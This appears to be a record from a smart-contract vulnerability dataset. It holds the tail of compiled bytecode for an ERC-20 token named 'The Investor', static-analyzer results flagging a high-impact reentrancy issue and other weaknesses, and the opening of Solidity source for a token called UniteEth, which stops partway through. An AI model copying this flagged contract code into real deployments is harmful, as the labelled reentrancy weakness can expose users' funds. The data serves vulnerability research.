ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd3565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906139c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f54686520496e766573746f720000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906139c0565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613eb9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613de1565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d3a565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906139c0565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613a40565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f919061348b565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d50919061348b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce929190613890565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e20919061348b565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f53969594939291906138e2565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613601565b505050600a601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110479291906138b9565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109991906135d4565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611238906139a0565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613a00565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d6906139e0565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494611f75565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611b8d576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613a60565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613c74565b6118d09190613c43565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613e2a565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613c74565b611ad29190613c43565b811115611ae357611ae281611f87565b5b505b5b6012600b9054906101000a900460ff16611b8c576005601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b4257601e601260086101000a81548161ffff021916908361ffff1602179055505b600a601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8b576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c345750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c4b57506012600b9054906101000a900460ff165b15611c5557600090505b611c618484848461209d565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ccf573d6000803e3d6000fd5b5050565b6000600e54821115611d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1190613980565b60405180910390fd5b6000611d246122e6565b90508083611d329190613c43565b915050919050565b6000600267ffffffffffffffff811115611d5757611d56613ee8565b5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611dbf57611dbe613eb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611e3057611e2f613eb9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb9600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611f3f959493929190613a9b565b600060405180830381600087803b158015611f5957600080fd5b505af1158015611f6d573d6000803e3d6000fd5b505050505050565b6000601081905550600c601181905550565b60016012600b6101000a81548160ff0219169083151502179055506000600582611fb19190613c43565b905060008183611fc19190613cce565b9050611fcc81611d3a565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316120149190613c43565b905061202b6004826120269190613c74565b611c67565b612035838261230a565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561826004836120649190613c74565b8560405161207493929190613af5565b60405180910390a150505060006012600b6101000a81548160ff02191690831515021790555050565b806120ab576120aa612442565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561214e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121635761215e848484612454565b6122e0565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122065750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221b5761221684848461269f565b6122df565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122bd5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122d2576122cd8484846128ea565b6122de565b6122dd848484612bc3565b5b5b5b50505050565b60008060006122f3612d80565b9150915080826123039190613c43565b9250505090565b612359600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856000806123c761085c565b426040518863ffffffff1660e01b81526004016123e9969594939291906138e2565b6060604051808303818588803b15801561240257600080fd5b505af1158015612416573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061243b9190613601565b5050505050565b60006010819055506000601181905550565b60008060008060008061246687613032565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bd9190613cce565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b9190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d99190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262581613094565b61262f8483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161268c9190613a80565b60405180910390a3505050505050505050565b6000806000806000806126b187613032565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127089190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127969190613bed565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128249190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287081613094565b61287a8483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128d79190613a80565b60405180910390a3505050505050505050565b6000806000806000806128fc87613032565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129539190613cce565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e19190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6f9190613bed565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612afd9190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b4981613094565b612b538483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bb09190613a80565b60405180910390a3505050505050505050565b600080600080600080612bd587613032565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2c9190613cce565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9190613bed565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0681613094565b612d108483613259565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612d6d9190613a80565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b600980549050811015612ff257826001600060098481548110612dbf57612dbe613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612ead5750816002600060098481548110612e4557612e44613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612ec957600e5466038d7ea4c680009450945050505061302e565b6001600060098381548110612ee157612ee0613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612f529190613cce565b92506002600060098381548110612f6c57612f6b613eb9565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612fdd9190613cce565b91508080612fea90613de1565b915050612d99565b5066038d7ea4c68000600e546130089190613c43565b82101561302557600e5466038d7ea4c6800093509350505061302e565b81819350935050505b9091565b600080600080600080600080600061304f8a601054601154613285565b925092509250600080600061306d8d86866130686122e6565b6132f1565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061309e6122e6565b9050600081836130ae9190613c74565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461311d9190613bed565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ef9190613bed565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546132679190613cce565b600e8190555080600f5461327b9190613bed565b600f819055505050565b600080600080606486886132999190613c74565b6132a39190613c43565b90506000606486896132b59190613c74565b6132bf9190613c43565b9050600081838a6132d09190613cce565b6132da9190613cce565b905080838395509550955050505093509350939050565b60008060008084886133039190613c74565b9050600085886133139190613c74565b9050600086886133239190613c74565b905060008183856133349190613cce565b61333e9190613cce565b9050838184965096509650505050509450945094915050565b600061336a61336584613b6c565b613b47565b9050808382526020820190508285602086028201111561338d5761338c613f1c565b5b60005b858110156133bd57816133a388826133c7565b845260208401935060208301925050600181019050613390565b5050509392505050565b6000813590506133d681614142565b92915050565b6000815190506133eb81614142565b92915050565b600082601f83011261340657613405613f17565b5b8135613416848260208601613357565b91505092915050565b60008151905061342e81614159565b92915050565b60008135905061344381614170565b92915050565b60008151905061345881614170565b92915050565b60006020828403121561347457613473613f26565b5b6000613482848285016133c7565b91505092915050565b6000602082840312156134a1576134a0613f26565b5b60006134af848285016133dc565b91505092915050565b600080604083850312156134cf576134ce613f26565b5b60006134dd858286016133c7565b92505060206134ee858286016133c7565b9150509250929050565b60008060006060848603121561351157613510613f26565b5b600061351f868287016133c7565b9350506020613530868287016133c7565b925050604061354186828701613434565b9150509250925092565b6000806040838503121561356257613561613f26565b5b6000613570858286016133c7565b925050602061358185828601613434565b9150509250929050565b6000602082840312156135a1576135a0613f26565b5b600082013567ffffffffffffffff8111156135bf576135be613f21565b5b6135cb848285016133f1565b91505092915050565b6000602082840312156135ea576135e9613f26565b5b60006135f88482850161341f565b91505092915050565b60008060006060848603121561361a57613619613f26565b5b600061362886828701613449565b935050602061363986828701613449565b925050604061364a86828701613449565b9150509250925092565b6000613660838361366c565b60208301905092915050565b61367581613d02565b82525050565b61368481613d02565b82525050565b600061369582613ba8565b61369f8185613bcb565b93506136aa83613b98565b8060005b838110156136db5781516136c28882613654565b97506136cd83613bbe565b9250506001810190506136ae565b5085935050505092915050565b6136f181613d14565b82525050565b61370081613d6b565b82525050565b600061371182613bb3565b61371b8185613bdc565b935061372b818560208601613d7d565b61373481613f2b565b840191505092915050565b600061374c602a83613bdc565b915061375782613f3c565b604082019050919050565b600061376f602283613bdc565b915061377a82613f8b565b604082019050919050565b6000613792602083613bdc565b915061379d82613fda565b602082019050919050565b60006137b5602983613bdc565b91506137c082614003565b604082019050919050565b60006137d8602583613bdc565b91506137e382614052565b604082019050919050565b60006137fb602483613bdc565b9150613806826140a1565b604082019050919050565b600061381e601783613bdc565b9150613829826140f0565b602082019050919050565b6000613841601183613bdc565b915061384c82614119565b602082019050919050565b61386081613d40565b82525050565b61386f81613d5e565b82525050565b600060208201905061388a600083018461367b565b92915050565b60006040820190506138a5600083018561367b565b6138b2602083018461367b565b9392505050565b60006040820190506138ce600083018561367b565b6138db6020830184613857565b9392505050565b600060c0820190506138f7600083018961367b565b6139046020830188613857565b61391160408301876136f7565b61391e60608301866136f7565b61392b608083018561367b565b61393860a0830184613857565b979650505050505050565b600060208201905061395860008301846136e8565b92915050565b600060208201905081810360008301526139788184613706565b905092915050565b600060208201905081810360008301526139998161373f565b9050919050565b600060208201905081810360008301526139b981613762565b9050919050565b600060208201905081810360008301526139d981613785565b9050919050565b600060208201905081810360008301526139f9816137a8565b9050919050565b60006020820190508181036000830152613a19816137cb565b9050919050565b60006020820190508181036000830152613a39816137ee565b9050919050565b60006020820190508181036000830152613a5981613811565b9050919050565b60006020820190508181036000830152613a7981613834565b9050919050565b6000602082019050613a956000830184613857565b92915050565b600060a082019050613ab06000830188613857565b613abd60208301876136f7565b8181036040830152613acf818661368a565b9050613ade606083018561367b565b613aeb6080830184613857565b9695505050505050565b6000606082019050613b0a6000830186613857565b613b176020830185613857565b613b246040830184613857565b949350505050565b6000602082019050613b416000830184613866565b92915050565b6000613b51613b62565b9050613b5d8282613db0565b919050565b6000604051905090565b600067ffffffffffffffff821115613b8757613b86613ee8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613bf882613d40565b9150613c0383613d40565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c3857613c37613e5b565b5b828201905092915050565b6000613c4e82613d40565b9150613c5983613d40565b925082613c6957613c68613e8a565b5b828204905092915050565b6000613c7f82613d40565b9150613c8a83613d40565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc357613cc2613e5b565b5b828202905092915050565b6000613cd982613d40565b9150613ce483613d40565b925082821015613cf757613cf6613e5b565b5b828203905092915050565b6000613d0d82613d20565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613d7682613d40565b9050919050565b60005b83811015613d9b578082015181840152602081019050613d80565b83811115613daa576000848401525b50505050565b613db982613f2b565b810181811067ffffffffffffffff82111715613dd857613dd7613ee8565b5b80604052505050565b6000613dec82613d40565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e1f57613e1e613e5b565b5b600182019050919050565b6000613e3582613d4a565b915067ffffffffffffffff821415613e5057613e4f613e5b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61414b81613d02565b811461415657600080fd5b50565b61416281613d14565b811461416d57600080fd5b50565b61417981613d40565b811461418457600080fd5b5056fea26469706673582212200ec7a4a6296e193f7bc80a5eca68cdef3d2670b46ceff394634b086f191766e364736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,420 |
0xf0dcf53a48b6ae4b966dc6142368a7ff97f817f1
|
/**
*/
//Telegram - https://t.me/UniteEth
//website - http://UniteETH.org
//Twitter - https://twitter.com/UniteETH
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
